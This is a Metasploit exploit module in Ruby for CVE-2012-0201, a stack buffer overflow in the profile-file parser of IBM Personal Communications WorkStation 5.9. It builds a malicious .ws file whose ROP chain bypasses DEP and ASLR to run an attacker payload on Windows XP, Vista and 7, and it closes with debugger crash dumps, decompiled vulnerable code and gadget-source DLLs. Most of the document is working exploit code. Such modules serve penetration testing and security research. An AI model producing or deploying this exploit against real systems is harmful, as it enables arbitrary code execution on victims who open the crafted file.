## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # ASLR+DEP bypass include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Personal Communications I-Series Access WorkStation 5.9 Profile', 'Description' => %q{ The IBM Personal Communications I-Series application WorkStation is susceptible to a stack-based buffer overflow vulnerability within file parsing in which data copied to a location in memory exceeds the size of the reserved destination area. The buffer is located on the runtime program stack. When the WorkStation file is opened it will reach the code path at 0x67575180 located in pcspref.dll which conducts string manipulation and validation on the data supplied in the WorkStation file. The application will first check if 'Profile' header exists and appends a dot with the next parameter within the file. It will then measure the character length of the header by calling strcspn with a dot as its null-terminated character. It will then write the header into memory and ensure the header ends with a NUL character. The parameter character array is passed to the strcpy() function. The application has declared a 52-element character array for the destination for strcpy function. The function does not perform bounds checking therefore, data can be written paste the end of the buffer variable resulting in corruption of adjacent variables including other local variables, program state information and function arguments. You will notice that the saved RETURN address at offset 0x6c is overwritten by the data written past the buffer. To ensure we can perform arbitrary code execution we must we provide a valid pointer at 0x74 which is used as a argument for the called function at 0x675751ED as a id file extension parameter. Once the caller regains control we will reach our RETURN. The Ret instruction will be used to pop the overwritten saved return address which was currupted. This exploit has been written to bypass 2 mitigations DEP and ASLR on a Windows platform. Versions tested: IBM System i Access for Windows V6R1M0 version 06.01.0001.0000a Which bundles pcsws.exe version 5090.27271.709 Tested on: Microsoft Windows XP [Version 5.1.2600] Microsoft Windows Vista [Version 6.0.6002] Microsoft Windows 7 [Version 6.1.7600] }, 'License' => MSF_LICENSE, 'Author' => 'TecR0c <roccogiovannicalvi[at]gmail.com>',# Discovery & Metasploit module 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x0a\x0d\x3d" # NUL '\0' # LF '\n' (new line) # CR '\r' (carriage ret) # = }, 'Platform' => 'win', 'Targets' => [ [ 'IBM WorkStation 5.9 (Windows XP SP3)',{} ], [ 'IBM WorkStation 5.9 (Windows 7, Windows Vista)',{} ], ], 'References' => [ ['CVE', '2012-0201'], ['URL', 'https://www-304.ibm.com/support/docview.wss?uid=swg21586166'] ], 'DisclosureDate' => "Feb 28 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new( 'FILENAME', [ true, 'The file name.', 'msf.ws' ]), ], self.class) end def nops(rop=false, n=1) return rop ? [0x67A74499] * n : [0x90909090] * n end def exploit if target.name =~ /Windows 7/ # Plus Windows Vista virtualprotect = [ # - To get to the VirtualProtect Function # Since no Import Address Table (IAT) MS function addresses used to bypass Data Execution # Prevention (DEP) are imported within the applications modules which are required as they # have the ability to mark a portion of the stack as executable. # Also randomization of Windows dll's base addresses due to ASLR from Vista+ are enabled by # default. So we cannot directly add the MS function address into our buffer. Therefore, i # decided to do a [dereference] on another IAT address (kernel32.terminateprocess) then add # the difference between two MS functions in kernel32 to obtain my virtualprotect address so # i can still bypass ASLR. The closest i could get to virtualprotect function was 0x10. 0X641A1EE2,# Removes 0XFFFFFFF0 from stack to EAX for performing calculations 0XFFFFFFF0,# Address to get added into EAX 0X641C20C0,# NEG operation to subtracts its operand 0XFFFFFFF0 from zero to set 0x10 in EAX 0X67202128,# Exchanges the contents of two operands to store our 0x10 into EDX 0X641A1EE2,# We then want to store our closest IAT address to VirtualProtect() function 0X63B08084,# This is kernel32.terminateprocess used to get close to VirtualProtect() 0X6412F404,# We then do a dereference to get the address of kernel32.terminateprocess 0X6412E9AE,# We add 0x10 to kernel32.terminateprocess to load kernel32.VirtualProtect ].pack("V*") elsif target.name =~ /XP SP3/ virtualprotect = [ 0X641A1EE2, # We load our VirtualProtect Address into register EAX 0X7C801AD4, # kernel32.VirtualProtect ].pack("V*") end rop_gadgets_p1 = [ 0X67A74498,# Places the next memory address into EDI nops(true, 1), 0X6414C496,# Adds the contents of source operand EAX to the destination operation EBX to set dwSize value ].flatten.pack("V*") rop_gadgets_p2 = [ 0X641EC2D5,# Swaps values to get virtualprotect() into ESI 0X64164082,# Put 0xFFFFFFC0 into EAX to be subtracted 0XFFFFFFC0,# Value will be subtracted to calculate NewProtect 0X641C20C0,# EAX equals NewProtect 0X67202128,# Swaps values to get NewProtect parameter into EDX 0X641F2D59,# Put next memory address into ECX 0X67A85090,# &Writable location 0X64164082,# Put NOPs into EAX nops, 0X641BFDC2,# PUSHAD all parameters for VirtualProtect ].flatten.pack("V*") buffer = rand_text_alpha(104) buffer << [0X673188A5].pack("V")# Set EBP to a pointer to CALL ESP buffer << [0X64164082].pack("V")# Set EAX to nul buffer << [0XFFFFFC18].pack("V")# Put 0xFFFFFC18 into EAX to be subtracted to calculate dwSize buffer << [0X641C20C0].pack("V")# NEG operation to subtracts its operand 0xFFFFFC18 from zero to set 0x3E8 in EAX buffer << rop_gadgets_p1 buffer << virtualprotect buffer << rop_gadgets_p2 buffer << payload.encoded para_value = rand_text_alpha(3) eol = "\r\n" # We only need the header, malicious parameter with value and file extension to trigger the bug file = "[Profile]" << eol file << "#{buffer}=#{para_value}" << eol file << "ID=WS" print_status("Creating '#{datastore['FILENAME']}' file for #{target.name}...") file_create(file) end end =begin (540.25c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=003d1e49 ebx=77c5f7a0 ecx=00000000 edx=6758bdb0 esi=6758bdb1 edi=41414141 eip=77c483b7 esp=00125360 ebp=0012536c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll - MSVCRT!wcsxfrm+0x125: 77c483b7 8a27 mov ah,byte ptr [edi] ds:0023:41414141=?? ModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dll ModLoad: 67310000 67324000 C:\Program Files\IBM\Client Access\Emulator\PCSWDLG.DLL (5dc.65c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=00000751 edx=00009240 esi=004018a0 edi=0012faa0 eip=42424242 esp=001254e8 ebp=41414141 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 42424242 ?? ??? signed int __cdecl sub_67575180(const char *HeaderPlusParameter, char *FileExtension, int a3, int a4, int a5) { size_t SizeOfHeader; char ParameterName; char Dest[52]; SizeOfHeader = strcspn(HeaderPlusParameter, "."); strncpy(Dest, HeaderPlusParameter, SizeOfHeader); Dest[SizeOfHeader] = 0; strcpy(&ParameterName, &HeaderPlusParameter[SizeOfHeader + 1]); return sub_67573D80(FileExtension, Dest, &ParameterName, a3, a5, a4); } 0:000> da @esp 0012549c "AAAAAAAA. .dAAAAAAAAAAAAAAAAAAAA" 001254bc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 001254dc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 001254fc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0012551c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0012553c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0012555c "AA" ROP gadgets from images Image name: cwbcore.dll Timestamp: Wed Dec 12 04:15:43 2007 (475EC5BF) CheckSum: 0011CD4C ImageSize: 00118000 File version: 12.0.0.0 CompanyName: IBM Corporation ProductName: IBM(R) System i(TM) Access for Windows Image name: PCSXFER.DLL Timestamp: Wed Dec 12 04:15:48 2007 (475EC5C4) CheckSum: 0007130E ImageSize: 0006B000 File version: 5090.1.7103.892 CompanyName: IBM Corporation ProductName: Personal Communications Image name: nstrc.dll CheckSum: 0000F9D6 ImageSize: 00009000 File version: 5090.0.6171.1308 CompanyName: IBM Corporation ProductName: Personal Communications FileDescription: Independent Trace Facility Image name: PCSCTSS.DLL Timestamp: Wed Dec 12 04:15:47 2007 (475EC5C3) CheckSum: 0001D6EB ImageSize: 0007D000 File version: 5090.1.7103.892 CompanyName: IBM Corporation ProductName: Personal Communications Image name: PCSWDLG.DLL Timestamp: Wed Dec 12 04:15:48 2007 (475EC5C4) CheckSum: 0001FCBC ImageSize: 00014000 File version: 5090.1.7103.892 CompanyName: IBM Corporation ProductName: Personal Communications =end